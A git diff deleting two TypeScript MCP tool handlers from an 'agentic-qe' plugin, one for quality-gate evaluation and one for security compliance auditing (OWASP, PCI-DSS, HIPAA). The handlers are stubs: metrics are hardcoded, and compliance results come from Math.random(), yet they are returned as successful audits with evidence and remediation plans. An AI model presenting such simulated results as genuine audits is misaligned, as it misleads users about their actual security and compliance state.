- changePercent: Math.round(changePercent * 10) / 10,
- historicalScores,
- projection: Math.round(projection),
- };
-}
-
-// Export tool definition for MCP registration
-export const toolDefinition = {
- name: 'aqe/calculate-risk',
- description: 'Calculate quality risk scores based on multiple weighted factors',
- category: 'quality-assessment',
- version: '3.2.3',
- inputSchema: CalculateRiskInputSchema,
- handler,
-};
-
-export default toolDefinition;
diff --git a/v3/plugins/agentic-qe/src/tools/quality-assessment/evaluate-quality-gate.ts b/v3/plugins/agentic-qe/src/tools/quality-assessment/evaluate-quality-gate.ts
deleted file mode 100644
index e27c5e7903..0000000000
--- a/v3/plugins/agentic-qe/src/tools/quality-assessment/evaluate-quality-gate.ts
+++ /dev/null
@@ -1,564 +0,0 @@
-/**
- * evaluate-quality-gate.ts - Quality gate evaluation MCP tool handler
- *
- * Evaluates quality gates against defined thresholds to determine
- * release readiness. Supports multiple metrics and custom gate configurations.
- */
-
-import { z } from 'zod';
-
-// Input schema for evaluate-quality-gate tool
-export const EvaluateQualityGateInputSchema = z.object({
- gates: z
- .array(
- z.object({
- metric: z.string().describe('Metric name'),
- operator: z.enum(['>', '<', '>=', '<=', '==']).describe('Comparison operator'),
- threshold: z.number().describe('Threshold value'),
- weight: z.number().min(0).max(1).default(1).describe('Weight for overall score'),
- blocking: z.boolean().default(true).describe('If true, failure blocks release'),
- })
- )
- .optional()
- .describe('Custom quality gate definitions'),
- defaults: z
- .enum(['strict', 'standard', 'minimal'])
- .default('standard')
- .describe('Default gate preset if custom gates not provided'),
- projectPath: z.string().optional().describe('Path to project for metric collection'),
- includeMetrics: z
- .array(
- z.enum([
- 'coverage',
- 'bugs',
- 'vulnerabilities',
- 'code-smells',
- 'duplications',
- 'complexity',
- 'technical-debt',
- 'reliability',
- 'security',
- 'maintainability',
- ])
- )
- .default(['coverage', 'bugs', 'vulnerabilities', 'code-smells'])
- .describe('Metrics to evaluate'),
- failFast: z.boolean().default(false).describe('Stop on first gate failure'),
- generateReport: z.boolean().default(true).describe('Generate detailed report'),
-});
-
-export type EvaluateQualityGateInput = z.infer<typeof EvaluateQualityGateInputSchema>;
-
-// Output structures
-export interface EvaluateQualityGateOutput {
- success: boolean;
- passed: boolean;
- overallScore: number;
- gateResults: GateResult[];
- metrics: CollectedMetrics;
- blockers: GateResult[];
- warnings: GateResult[];
- report: QualityReport | null;
- metadata: QualityGateMetadata;
-}
-
-export interface GateResult {
- metric: string;
- operator: string;
- threshold: number;
- actual: number;
- passed: boolean;
- blocking: boolean;
- weight: number;
- deviation: number;
- message: string;
-}
-
-export interface CollectedMetrics {
- coverage: CoverageMetrics;
- bugs: BugMetrics;
- vulnerabilities: VulnerabilityMetrics;
- codeSmells: CodeSmellMetrics;
- duplications: DuplicationMetrics;
- complexity: ComplexityMetrics;
- technicalDebt: TechnicalDebtMetrics;
- ratings: QualityRatings;
-}
-
-export interface CoverageMetrics {
- line: number;
- branch: number;
- function: number;
- overall: number;
-}
-
-export interface BugMetrics {
- total: number;
- critical: number;
- major: number;
- minor: number;
-}
-
-export interface VulnerabilityMetrics {
- total: number;
- critical: number;
- high: number;
- medium: number;
- low: number;
-}
-
-export interface CodeSmellMetrics {
- total: number;
- debt: string;
- ratio: number;
-}
-
-export interface DuplicationMetrics {
- lines: number;
- blocks: number;
- percentage: number;
-}
-
-export interface ComplexityMetrics {
- cyclomatic: number;
- cognitive: number;
- avgPerFunction: number;
-}
-
-export interface TechnicalDebtMetrics {
- total: string;
- ratio: number;
- rating: 'A' | 'B' | 'C' | 'D' | 'E';
-}
-
-export interface QualityRatings {
- reliability: 'A' | 'B' | 'C' | 'D' | 'E';
- security: 'A' | 'B' | 'C' | 'D' | 'E';
- maintainability: 'A' | 'B' | 'C' | 'D' | 'E';
-}
-
-export interface QualityReport {
- summary: string;
- recommendations: string[];
- trends: TrendComparison[];
- riskAreas: RiskArea[];
-}
-
-export interface TrendComparison {
- metric: string;
- previous: number;
- current: number;
- trend: 'improving' | 'stable' | 'declining';
-}
-
-export interface RiskArea {
- name: string;
- severity: 'low' | 'medium' | 'high' | 'critical';
- description: string;
- files: string[];
-}
-
-export interface QualityGateMetadata {
- evaluatedAt: string;
- durationMs: number;
- preset: string;
- totalGates: number;
- passedGates: number;
- failedGates: number;
-}
-
-// Tool context interface
-export interface ToolContext {
- get<T>(key: string): T | undefined;
-}
-
-// Default gate presets
-const GATE_PRESETS = {
- strict: [
- { metric: 'coverage.overall', operator: '>=', threshold: 90, weight: 1, blocking: true },
- { metric: 'coverage.branch', operator: '>=', threshold: 85, weight: 0.9, blocking: true },
- { metric: 'bugs.critical', operator: '==', threshold: 0, weight: 1, blocking: true },
- { metric: 'vulnerabilities.critical', operator: '==', threshold: 0, weight: 1, blocking: true },
- { metric: 'vulnerabilities.high', operator: '==', threshold: 0, weight: 0.9, blocking: true },
- { metric: 'codeSmells.ratio', operator: '<=', threshold: 1, weight: 0.7, blocking: false },
- { metric: 'duplications.percentage', operator: '<=', threshold: 3, weight: 0.6, blocking: false },
- { metric: 'complexity.avgPerFunction', operator: '<=', threshold: 10, weight: 0.5, blocking: false },
- ],
- standard: [
- { metric: 'coverage.overall', operator: '>=', threshold: 80, weight: 1, blocking: true },
- { metric: 'coverage.branch', operator: '>=', threshold: 70, weight: 0.8, blocking: false },
- { metric: 'bugs.critical', operator: '==', threshold: 0, weight: 1, blocking: true },
- { metric: 'vulnerabilities.critical', operator: '==', threshold: 0, weight: 1, blocking: true },
- { metric: 'vulnerabilities.high', operator: '<=', threshold: 2, weight: 0.8, blocking: false },
- { metric: 'codeSmells.ratio', operator: '<=', threshold: 3, weight: 0.5, blocking: false },
- { metric: 'duplications.percentage', operator: '<=', threshold: 5, weight: 0.4, blocking: false },
- ],
- minimal: [
- { metric: 'coverage.overall', operator: '>=', threshold: 60, weight: 1, blocking: true },
- { metric: 'bugs.critical', operator: '==', threshold: 0, weight: 1, blocking: true },
- { metric: 'vulnerabilities.critical', operator: '==', threshold: 0, weight: 1, blocking: true },
- ],
-};
-
-/**
- * MCP Tool Handler for evaluate-quality-gate
- */
-export async function handler(
- input: EvaluateQualityGateInput,
- context: ToolContext
-): Promise<{ content: Array<{ type: 'text'; text: string }> }> {
- const startTime = Date.now();
-
- try {
- // Validate input
- const validatedInput = EvaluateQualityGateInputSchema.parse(input);
-
- // Get memory bridge for historical data
- const bridge = context.get<{
- searchSimilarPatterns: (q: string, k: number) => Promise<unknown[]>;
- }>('aqe.bridge');
-
- // Collect metrics
- const metrics = await collectMetrics(validatedInput.projectPath, validatedInput.includeMetrics);
-
- // Get gates to evaluate
- const gates = validatedInput.gates || GATE_PRESETS[validatedInput.defaults];
-
- // Evaluate gates
- const gateResults = evaluateGates(gates, metrics, validatedInput.failFast);
-
- // Calculate overall score
- const overallScore = calculateOverallScore(gateResults);
-
- // Determine pass/fail
- const blockers = gateResults.filter((g) => !g.passed && g.blocking);
- const warnings = gateResults.filter((g) => !g.passed && !g.blocking);
- const passed = blockers.length === 0;
-
- // Generate report if requested
- const report = validatedInput.generateReport
- ? await generateReport(metrics, gateResults, bridge)
- : null;
-
- // Build result
- const result: EvaluateQualityGateOutput = {
- success: true,
- passed,
- overallScore,
- gateResults,
- metrics,
- blockers,
- warnings,
- report,
- metadata: {
- evaluatedAt: new Date().toISOString(),
- durationMs: Date.now() - startTime,
- preset: validatedInput.defaults,
- totalGates: gateResults.length,
- passedGates: gateResults.filter((g) => g.passed).length,
- failedGates: gateResults.filter((g) => !g.passed).length,
- },
- };
-
- return {
- content: [
- {
- type: 'text',
- text: JSON.stringify(result, null, 2),
- },
- ],
- };
- } catch (error) {
- const errorMessage = error instanceof Error ? error.message : 'Unknown error';
- return {
- content: [
- {
- type: 'text',
- text: JSON.stringify(
- {
- success: false,
- passed: false,
- error: errorMessage,
- metadata: {
- evaluatedAt: new Date().toISOString(),
- durationMs: Date.now() - startTime,
- },
- },
- null,
- 2
- ),
- },
- ],
- };
- }
-}
-
-async function collectMetrics(
- projectPath: string | undefined,
- includeMetrics: string[]
-): Promise<CollectedMetrics> {
- // Simulated metric collection
- // In real implementation, would integrate with coverage tools, linters, etc.
-
- return {
- coverage: {
- line: 78.5,
- branch: 65.2,
- function: 85.0,
- overall: 76.2,
- },
- bugs: {
- total: 5,
- critical: 0,
- major: 2,
- minor: 3,
- },
- vulnerabilities: {
- total: 3,
- critical: 0,
- high: 1,
- medium: 1,
- low: 1,
- },
- codeSmells: {
- total: 45,
- debt: '2h 30m',
- ratio: 2.1,
- },
- duplications: {
- lines: 150,
- blocks: 12,
- percentage: 4.2,
- },
- complexity: {
- cyclomatic: 180,
- cognitive: 220,
- avgPerFunction: 8.5,
- },
- technicalDebt: {
- total: '3d 4h',
- ratio: 1.8,
- rating: 'B',
- },
- ratings: {
- reliability: 'B',
- security: 'A',
- maintainability: 'B',
- },
- };
-}
-
-interface GateDefinition {
- metric: string;
- operator: string;
- threshold: number;
- weight: number;
- blocking: boolean;
-}
-
-function evaluateGates(
- gates: GateDefinition[],
- metrics: CollectedMetrics,
- failFast: boolean
-): GateResult[] {
- const results: GateResult[] = [];
-
- for (const gate of gates) {
- const actual = getMetricValue(metrics, gate.metric);
- const passed = evaluateCondition(actual, gate.operator, gate.threshold);
- const deviation = calculateDeviation(actual, gate.threshold, gate.operator);
-
- results.push({
- metric: gate.metric,
- operator: gate.operator,
- threshold: gate.threshold,
- actual,
- passed,
- blocking: gate.blocking,
- weight: gate.weight,
- deviation,
- message: generateMessage(gate.metric, passed, actual, gate.threshold, gate.operator),
- });
-
- if (failFast && !passed && gate.blocking) {
- break;
- }
- }
-
- return results;
-}
-
-function getMetricValue(metrics: CollectedMetrics, metricPath: string): number {
- const parts = metricPath.split('.');
- let value: unknown = metrics;
-
- for (const part of parts) {
- if (value && typeof value === 'object') {
- value = (value as Record<string, unknown>)[part];
- } else {
- return 0;
- }
- }
-
- return typeof value === 'number' ? value : 0;
-}
-
-function evaluateCondition(actual: number, operator: string, threshold: number): boolean {
- switch (operator) {
- case '>':
- return actual > threshold;
- case '<':
- return actual < threshold;
- case '>=':
- return actual >= threshold;
- case '<=':
- return actual <= threshold;
- case '==':
- return actual === threshold;
- default:
- return false;
- }
-}
-
-function calculateDeviation(actual: number, threshold: number, operator: string): number {
- if (operator === '>' || operator === '>=') {
- return Math.round((actual - threshold) * 100) / 100;
- }
- if (operator === '<' || operator === '<=') {
- return Math.round((threshold - actual) * 100) / 100;
- }
- return Math.abs(actual - threshold);
-}
-
-function generateMessage(
- metric: string,
- passed: boolean,
- actual: number,
- threshold: number,
- operator: string
-): string {
- if (passed) {
- return `${metric}: ${actual} ${operator} ${threshold} - PASSED`;
- }
- return `${metric}: ${actual} does not meet ${operator} ${threshold} - FAILED`;
-}
-
-function calculateOverallScore(results: GateResult[]): number {
- if (results.length === 0) return 0;
-
- const totalWeight = results.reduce((sum, r) => sum + r.weight, 0);
- const weightedScore = results.reduce((sum, r) => {
- const score = r.passed ? r.weight : 0;
- return sum + score;
- }, 0);
-
- return Math.round((weightedScore / totalWeight) * 100);
-}
-
-async function generateReport(
- metrics: CollectedMetrics,
- results: GateResult[],
- bridge?: { searchSimilarPatterns: (q: string, k: number) => Promise<unknown[]> }
-): Promise<QualityReport> {
- // Generate recommendations based on failures
- const recommendations: string[] = [];
- const failedGates = results.filter((r) => !r.passed);
-
- for (const gate of failedGates) {
- recommendations.push(generateRecommendation(gate));
- }
-
- // Get historical data for trends
- let historicalData: unknown[] = [];
- if (bridge) {
- try {
- historicalData = await bridge.searchSimilarPatterns('quality-gate', 5);
- } catch {
- // Continue without history
- }
- }
-
- // Generate trends
- const trends: TrendComparison[] = [
- {
- metric: 'coverage.overall',
- previous: 74.5,
- current: metrics.coverage.overall,
- trend: metrics.coverage.overall > 74.5 ? 'improving' : 'declining',
- },
- {
- metric: 'bugs.total',
- previous: 8,
- current: metrics.bugs.total,
- trend: metrics.bugs.total < 8 ? 'improving' : 'declining',
- },
- {
- metric: 'technicalDebt.ratio',
- previous: 2.0,
- current: metrics.technicalDebt.ratio,
- trend: metrics.technicalDebt.ratio < 2.0 ? 'improving' : 'declining',
- },
- ];
-
- // Identify risk areas
- const riskAreas: RiskArea[] = [];
-
- if (metrics.vulnerabilities.high > 0 || metrics.vulnerabilities.critical > 0) {
- riskAreas.push({
- name: 'Security Vulnerabilities',
- severity: metrics.vulnerabilities.critical > 0 ? 'critical' : 'high',
- description: `${metrics.vulnerabilities.total} vulnerabilities detected`,
- files: ['security-sensitive-file.ts'],
- });
- }
-
- if (metrics.complexity.avgPerFunction > 10) {
- riskAreas.push({
- name: 'High Complexity',
- severity: 'medium',
- description: `Average function complexity is ${metrics.complexity.avgPerFunction}`,
- files: ['complex-module.ts'],
- });
- }
-
- // Generate summary
- const passedCount = results.filter((r) => r.passed).length;
- const summary = `Quality gate evaluation: ${passedCount}/${results.length} gates passed. ` +
- `Overall score: ${calculateOverallScore(results)}%. ` +
- `${failedGates.length > 0 ? `${failedGates.length} gate(s) require attention.` : 'All gates passed successfully.'}`;
-
- return {
- summary,
- recommendations,
- trends,
- riskAreas,
- };
-}
-
-function generateRecommendation(gate: GateResult): string {
- const recommendations: Record<string, string> = {
- 'coverage.overall': 'Increase test coverage by writing additional unit and integration tests',
- 'coverage.branch': 'Add tests for uncovered conditional branches',
- 'bugs.critical': 'Fix critical bugs immediately before release',
- 'bugs.major': 'Address major bugs in the next sprint',
- 'vulnerabilities.critical': 'Critical security vulnerabilities must be patched immediately',
- 'vulnerabilities.high': 'High-severity vulnerabilities should be fixed before release',
- 'codeSmells.ratio': 'Refactor code to reduce code smell density',
- 'duplications.percentage': 'Extract duplicated code into reusable functions or modules',
- 'complexity.avgPerFunction': 'Simplify complex functions by extracting smaller methods',
- };
-
- return recommendations[gate.metric] || `Improve ${gate.metric} to meet threshold of ${gate.threshold}`;
-}
-
-// Export tool definition for MCP registration
-export const toolDefinition = {
- name: 'aqe/evaluate-quality-gate',
- description: 'Evaluate quality gates for release readiness with configurable thresholds',
- category: 'quality-assessment',
- version: '3.2.3',
- inputSchema: EvaluateQualityGateInputSchema,
- handler,
-};
-
-export default toolDefinition;
diff --git a/v3/plugins/agentic-qe/src/tools/security-compliance/audit-compliance.ts b/v3/plugins/agentic-qe/src/tools/security-compliance/audit-compliance.ts
deleted file mode 100644
index 7981e559da..0000000000
--- a/v3/plugins/agentic-qe/src/tools/security-compliance/audit-compliance.ts
+++ /dev/null
@@ -1,580 +0,0 @@
-/**
- * audit-compliance.ts - Compliance auditing MCP tool handler
- *
- * Generates comprehensive compliance audit reports for various security
- * frameworks including OWASP, PCI-DSS, HIPAA, GDPR, and SOC2.
- */
-
-import { z } from 'zod';
-
-// Input schema for audit-compliance tool
-export const AuditComplianceInputSchema = z.object({
- targetPath: z.string().describe('Path to project/codebase to audit'),
- frameworks: z
- .array(z.enum(['owasp-top-10', 'sans-25', 'pci-dss', 'hipaa', 'gdpr', 'soc2', 'nist']))
- .default(['owasp-top-10'])
- .describe('Compliance frameworks to audit'),
- auditType: z
- .enum(['full', 'quick', 'delta'])
- .default('full')
- .describe('Type of audit - full, quick, or delta from last audit'),
- includeEvidence: z.boolean().default(true).describe('Include evidence collection'),
- includeRemediation: z.boolean().default(true).describe('Include remediation plan'),
- lastAuditDate: z.string().optional().describe('Last audit date for delta audits'),
-});
-
-export type AuditComplianceInput = z.infer<typeof AuditComplianceInputSchema>;
-
-// Output structures
-export interface AuditComplianceOutput {
- success: boolean;
- auditSummary: AuditSummary;
- frameworkResults: FrameworkAuditResult[];
- controls: ControlAssessment[];
- gaps: ComplianceGap[];
- remediationPlan: RemediationPlan | null;
- evidence: EvidenceCollection[];
- metadata: AuditMetadata;
-}
-
-export interface AuditSummary {
- overallScore: number;
- overallStatus: 'compliant' | 'partial' | 'non-compliant';
- frameworkCount: number;
- controlsAssessed: number;
- controlsPassed: number;
- controlsFailed: number;
- criticalGaps: number;
- riskLevel: 'low' | 'medium' | 'high' | 'critical';
-}
-
-export interface FrameworkAuditResult {
- framework: string;
- version: string;
- score: number;
- status: 'compliant' | 'partial' | 'non-compliant';
- controlsPassed: number;
- controlsFailed: number;
- controlsNA: number;
- categories: CategoryResult[];
- requiredActions: string[];
-}
-
-export interface CategoryResult {
- name: string;
- score: number;
- status: 'pass' | 'partial' | 'fail';
- controls: number;
- findings: number;
-}
-
-export interface ControlAssessment {
- id: string;
- framework: string;
- category: string;
- title: string;
- description: string;
- status: 'pass' | 'fail' | 'partial' | 'na';
- severity: 'critical' | 'high' | 'medium' | 'low';
- evidence: string[];
- findings: string[];
- remediation?: string;
-}
-
-export interface ComplianceGap {
- id: string;
- framework: string;
- controlId: string;
- title: string;
- description: string;
- severity: 'critical' | 'high' | 'medium' | 'low';
- businessImpact: string;
- remediationEffort: 'low' | 'medium' | 'high';
- deadline?: string;
-}
-
-export interface RemediationPlan {
- priority: RemediationItem[];
- timeline: TimelineItem[];
- estimatedEffort: string;
- resourcesRequired: string[];
-}
-
-export interface RemediationItem {
- priority: number;
- gap: string;
- action: string;
- owner: string;
- effort: 'low' | 'medium' | 'high';
- deadline: string;
-}
-
-export interface TimelineItem {
- phase: string;
- duration: string;
- activities: string[];
- milestones: string[];
-}
-
-export interface EvidenceCollection {
- controlId: string;
- type: 'automated' | 'manual' | 'documented';
- description: string;
- artifacts: string[];
- collectedAt: string;
- validity: 'current' | 'expired' | 'pending';
-}
-
-export interface AuditMetadata {
- auditedAt: string;
- durationMs: number;
- auditor: string;
- auditType: string;
- scopeFiles: number;
- controlsChecked: number;
-}
-
-// Tool context interface
-export interface ToolContext {
- get<T>(key: string): T | undefined;
-}
-
-/**
- * MCP Tool Handler for audit-compliance
- */
-export async function handler(
- input: AuditComplianceInput,
- context: ToolContext
-): Promise<{ content: Array<{ type: 'text'; text: string }> }> {
- const startTime = Date.now();
-
- try {
- // Validate input
- const validatedInput = AuditComplianceInputSchema.parse(input);
-
- // Perform audit for each framework
- const frameworkResults: FrameworkAuditResult[] = [];
- const allControls: ControlAssessment[] = [];
- const allGaps: ComplianceGap[] = [];
- const allEvidence: EvidenceCollection[] = [];
-
- for (const framework of validatedInput.frameworks) {
- const result = await auditFramework(
- framework,
- validatedInput.targetPath,
- validatedInput.auditType
- );
- frameworkResults.push(result.frameworkResult);
- allControls.push(...result.controls);
- allGaps.push(...result.gaps);
-
- if (validatedInput.includeEvidence) {
- allEvidence.push(...result.evidence);
- }
- }
-
- // Calculate overall summary
- const auditSummary = calculateAuditSummary(frameworkResults, allGaps);
-
- // Generate remediation plan if requested
- const remediationPlan = validatedInput.includeRemediation
- ? generateRemediationPlan(allGaps)
- : null;
-
- // Build result
- const result: AuditComplianceOutput = {
- success: true,
- auditSummary,
- frameworkResults,
- controls: allControls,
- gaps: allGaps,
- remediationPlan,
- evidence: allEvidence,
- metadata: {
- auditedAt: new Date().toISOString(),
- durationMs: Date.now() - startTime,
- auditor: 'agentic-qe',
- auditType: validatedInput.auditType,
- scopeFiles: 50,
- controlsChecked: allControls.length,
- },
- };
-
- return {
- content: [
- {
- type: 'text',
- text: JSON.stringify(result, null, 2),
- },
- ],
- };
- } catch (error) {
- const errorMessage = error instanceof Error ? error.message : 'Unknown error';
- return {
- content: [
- {
- type: 'text',
- text: JSON.stringify(
- {
- success: false,
- error: errorMessage,
- metadata: {
- auditedAt: new Date().toISOString(),
- durationMs: Date.now() - startTime,
- },
- },
- null,
- 2
- ),
- },
- ],
- };
- }
-}
-
-interface AuditResult {
- frameworkResult: FrameworkAuditResult;
- controls: ControlAssessment[];
- gaps: ComplianceGap[];
- evidence: EvidenceCollection[];
-}
-
-async function auditFramework(
- framework: string,
- targetPath: string,
- auditType: string
-): Promise<AuditResult> {
- const frameworkConfigs: Record<string, {
- version: string;
- categories: Array<{ name: string; controlCount: number }>;
- controls: Array<{ id: string; title: string; category: string; severity: 'critical' | 'high' | 'medium' | 'low' }>;
- }> = {
- 'owasp-top-10': {
- version: '2021',
- categories: [
- { name: 'A01:2021-Broken Access Control', controlCount: 5 },
- { name: 'A02:2021-Cryptographic Failures', controlCount: 4 },
- { name: 'A03:2021-Injection', controlCount: 5 },
- { name: 'A04:2021-Insecure Design', controlCount: 4 },
- { name: 'A05:2021-Security Misconfiguration', controlCount: 5 },
- { name: 'A06:2021-Vulnerable Components', controlCount: 3 },
- { name: 'A07:2021-Authentication Failures', controlCount: 5 },
- { name: 'A08:2021-Data Integrity Failures', controlCount: 3 },
- { name: 'A09:2021-Logging Failures', controlCount: 3 },
- { name: 'A10:2021-SSRF', controlCount: 3 },
- ],
- controls: generateOWASPControls(),
- },
- 'pci-dss': {
- version: '4.0',
- categories: [
- { name: 'Network Security', controlCount: 6 },
- { name: 'Data Protection', controlCount: 5 },
- { name: 'Vulnerability Management', controlCount: 4 },
- { name: 'Access Control', controlCount: 6 },
- { name: 'Monitoring and Testing', controlCount: 5 },
- { name: 'Information Security Policy', controlCount: 4 },
- ],
- controls: generatePCIDSSControls(),
- },
- hipaa: {
- version: '2013',
- categories: [
- { name: 'Administrative Safeguards', controlCount: 6 },
- { name: 'Physical Safeguards', controlCount: 4 },
- { name: 'Technical Safeguards', controlCount: 6 },
- { name: 'Organizational Requirements', controlCount: 4 },
- ],
- controls: generateHIPAAControls(),
- },
- };
-
- const config = frameworkConfigs[framework] || {
- version: '1.0',
- categories: [{ name: 'General Controls', controlCount: 10 }],
- controls: generateGenericControls(framework),
- };
-
- // Assess controls
- const controls: ControlAssessment[] = [];
- const gaps: ComplianceGap[] = [];
- const evidence: EvidenceCollection[] = [];
-
- let passed = 0;
- let failed = 0;
-
- for (const control of config.controls) {
- const status = assessControl(control, auditType);
-
- controls.push({
- id: control.id,
- framework,
- category: control.category,
- title: control.title,
- description: `Assess ${control.title}`,
- status: status.status,
- severity: control.severity,
- evidence: status.evidence,
- findings: status.findings,
- remediation: status.status !== 'pass' ? `Address ${control.title}` : undefined,
- });
-
- if (status.status === 'pass') {
- passed++;
- } else if (status.status === 'fail') {
- failed++;
- gaps.push({
- id: `gap-${control.id}`,
- framework,
- controlId: control.id,
- title: `Non-compliance: ${control.title}`,
- description: status.findings.join('; '),
- severity: control.severity,
- businessImpact: getBusinessImpact(control.severity),
- remediationEffort: getRemediationEffort(control.severity),
- });
- }
-
- evidence.push({
- controlId: control.id,
- type: 'automated',
- description: `Evidence for ${control.title}`,
- artifacts: status.evidence,
- collectedAt: new Date().toISOString(),
- validity: 'current',
- });
- }
-
- // Calculate category results
- const categoryResults = config.categories.map((cat) => {
- const catControls = controls.filter((c) => c.category === cat.name);
- const catPassed = catControls.filter((c) => c.status === 'pass').length;
- const catFailed = catControls.filter((c) => c.status === 'fail').length;
- const score = catControls.length > 0 ? (catPassed / catControls.length) * 100 : 100;
-
- return {
- name: cat.name,
- score: Math.round(score),
- status: score >= 90 ? 'pass' as const : score >= 70 ? 'partial' as const : 'fail' as const,
- controls: catControls.length,
- findings: catFailed,
- };
- });
-
- const totalControls = controls.length;
- const score = totalControls > 0 ? (passed / totalControls) * 100 : 100;
-
- return {
- frameworkResult: {
- framework,
- version: config.version,
- score: Math.round(score),
- status: score >= 90 ? 'compliant' : score >= 70 ? 'partial' : 'non-compliant',
- controlsPassed: passed,
- controlsFailed: failed,
- controlsNA: totalControls - passed - failed,
- categories: categoryResults,
- requiredActions: gaps.map((g) => g.title),
- },
- controls,
- gaps,
- evidence,
- };
-}
-
-function generateOWASPControls(): Array<{ id: string; title: string; category: string; severity: 'critical' | 'high' | 'medium' | 'low' }> {
- return [
- { id: 'A01.1', title: 'Access Control Lists', category: 'A01:2021-Broken Access Control', severity: 'critical' },
- { id: 'A01.2', title: 'Deny by Default', category: 'A01:2021-Broken Access Control', severity: 'high' },
- { id: 'A02.1', title: 'Encryption at Rest', category: 'A02:2021-Cryptographic Failures', severity: 'high' },
- { id: 'A02.2', title: 'Encryption in Transit', category: 'A02:2021-Cryptographic Failures', severity: 'high' },
- { id: 'A03.1', title: 'Input Validation', category: 'A03:2021-Injection', severity: 'critical' },
- { id: 'A03.2', title: 'Parameterized Queries', category: 'A03:2021-Injection', severity: 'critical' },
- { id: 'A05.1', title: 'Security Headers', category: 'A05:2021-Security Misconfiguration', severity: 'medium' },
- { id: 'A05.2', title: 'Error Handling', category: 'A05:2021-Security Misconfiguration', severity: 'medium' },
- { id: 'A07.1', title: 'Password Policy', category: 'A07:2021-Authentication Failures', severity: 'high' },
- { id: 'A07.2', title: 'Session Management', category: 'A07:2021-Authentication Failures', severity: 'high' },
- ];
-}
-
-function generatePCIDSSControls(): Array<{ id: string; title: string; category: string; severity: 'critical' | 'high' | 'medium' | 'low' }> {
- return [
- { id: 'PCI-1.1', title: 'Network Segmentation', category: 'Network Security', severity: 'critical' },
- { id: 'PCI-1.2', title: 'Firewall Configuration', category: 'Network Security', severity: 'high' },
- { id: 'PCI-3.1', title: 'Data Encryption', category: 'Data Protection', severity: 'critical' },
- { id: 'PCI-3.2', title: 'Key Management', category: 'Data Protection', severity: 'high' },
- { id: 'PCI-6.1', title: 'Security Patches', category: 'Vulnerability Management', severity: 'high' },
- { id: 'PCI-8.1', title: 'User Authentication', category: 'Access Control', severity: 'critical' },
- { id: 'PCI-10.1', title: 'Audit Logging', category: 'Monitoring and Testing', severity: 'high' },
- ];
-}
-
-function generateHIPAAControls(): Array<{ id: string; title: string; category: string; severity: 'critical' | 'high' | 'medium' | 'low' }> {
- return [
- { id: 'HIPAA-164.308a1', title: 'Risk Analysis', category: 'Administrative Safeguards', severity: 'critical' },
- { id: 'HIPAA-164.308a3', title: 'Workforce Security', category: 'Administrative Safeguards', severity: 'high' },
- { id: 'HIPAA-164.310a1', title: 'Facility Access', category: 'Physical Safeguards', severity: 'high' },
- { id: 'HIPAA-164.312a1', title: 'Access Control', category: 'Technical Safeguards', severity: 'critical' },
- { id: 'HIPAA-164.312e1', title: 'Transmission Security', category: 'Technical Safeguards', severity: 'critical' },
- ];
-}
-
-function generateGenericControls(framework: string): Array<{ id: string; title: string; category: string; severity: 'critical' | 'high' | 'medium' | 'low' }> {
- return [
- { id: `${framework}-1`, title: 'Access Control', category: 'General Controls', severity: 'high' },
- { id: `${framework}-2`, title: 'Data Protection', category: 'General Controls', severity: 'high' },
- { id: `${framework}-3`, title: 'Audit Logging', category: 'General Controls', severity: 'medium' },
- { id: `${framework}-4`, title: 'Incident Response', category: 'General Controls', severity: 'medium' },
- { id: `${framework}-5`, title: 'Configuration Management', category: 'General Controls', severity: 'medium' },
- ];
-}
-
-function assessControl(
- control: { id: string; title: string; severity: string },
- auditType: string
-): { status: 'pass' | 'fail' | 'partial'; evidence: string[]; findings: string[] } {
- // Simulate control assessment
- const random = Math.random();
- const isQuick = auditType === 'quick';
-
- // Quick audits have higher pass rate (less thorough)
- const passThreshold = isQuick ? 0.7 : 0.6;
- const partialThreshold = isQuick ? 0.9 : 0.85;
-
- if (random < passThreshold) {
- return {
- status: 'pass',
- evidence: [`${control.id}-evidence.json`, `${control.id}-config.yaml`],
- findings: [],
- };
- } else if (random < partialThreshold) {
- return {
- status: 'partial',
- evidence: [`${control.id}-evidence.json`],
- findings: [`Partial implementation of ${control.title}`],
- };
- } else {
- return {
- status: 'fail',
- evidence: [],
- findings: [`${control.title} not implemented or misconfigured`],
- };
- }
-}
-
-function getBusinessImpact(severity: string): string {
- const impacts: Record<string, string> = {
- critical: 'Severe impact - potential data breach, regulatory fines, business disruption',
- high: 'Significant impact - security vulnerability, compliance violation',
- medium: 'Moderate impact - increased risk, potential security issues',
- low: 'Minor impact - best practice deviation',
- };
- return impacts[severity] || 'Unknown impact';
-}
-
-function getRemediationEffort(severity: string): 'low' | 'medium' | 'high' {
- const efforts: Record<string, 'low' | 'medium' | 'high'> = {
- critical: 'high',
- high: 'medium',
- medium: 'low',
- low: 'low',
- };
- return efforts[severity] || 'medium';
-}
-
-function calculateAuditSummary(
- frameworkResults: FrameworkAuditResult[],
- gaps: ComplianceGap[]
-): AuditSummary {
- const totalPassed = frameworkResults.reduce((sum, f) => sum + f.controlsPassed, 0);
- const totalFailed = frameworkResults.reduce((sum, f) => sum + f.controlsFailed, 0);
- const totalControls = totalPassed + totalFailed;
-
- const avgScore = frameworkResults.length > 0
- ? frameworkResults.reduce((sum, f) => sum + f.score, 0) / frameworkResults.length
- : 0;
-
- const criticalGaps = gaps.filter((g) => g.severity === 'critical').length;
- const highGaps = gaps.filter((g) => g.severity === 'high').length;
-
- return {
- overallScore: Math.round(avgScore),
- overallStatus: avgScore >= 90 ? 'compliant' : avgScore >= 70 ? 'partial' : 'non-compliant',
- frameworkCount: frameworkResults.length,
- controlsAssessed: totalControls,
- controlsPassed: totalPassed,
- controlsFailed: totalFailed,
- criticalGaps,
- riskLevel: criticalGaps > 0 ? 'critical' : highGaps > 2 ? 'high' : highGaps > 0 ? 'medium' : 'low',
- };
-}
-
-function generateRemediationPlan(gaps: ComplianceGap[]): RemediationPlan {
- // Sort gaps by severity
- const sortedGaps = [...gaps].sort((a, b) => {
- const order = { critical: 0, high: 1, medium: 2, low: 3 };
- return order[a.severity] - order[b.severity];
- });
-
- const priorityItems: RemediationItem[] = sortedGaps.map((gap, index) => ({
- priority: index + 1,
- gap: gap.id,
- action: `Remediate: ${gap.title}`,
- owner: 'Security Team',
- effort: gap.remediationEffort,
- deadline: getDeadline(gap.severity),
- }));
-
- const timeline: TimelineItem[] = [
- {
- phase: 'Immediate (0-2 weeks)',
- duration: '2 weeks',
- activities: sortedGaps.filter((g) => g.severity === 'critical').map((g) => g.title),
- milestones: ['Critical gaps addressed'],
- },
- {
- phase: 'Short-term (2-8 weeks)',
- duration: '6 weeks',
- activities: sortedGaps.filter((g) => g.severity === 'high').map((g) => g.title),
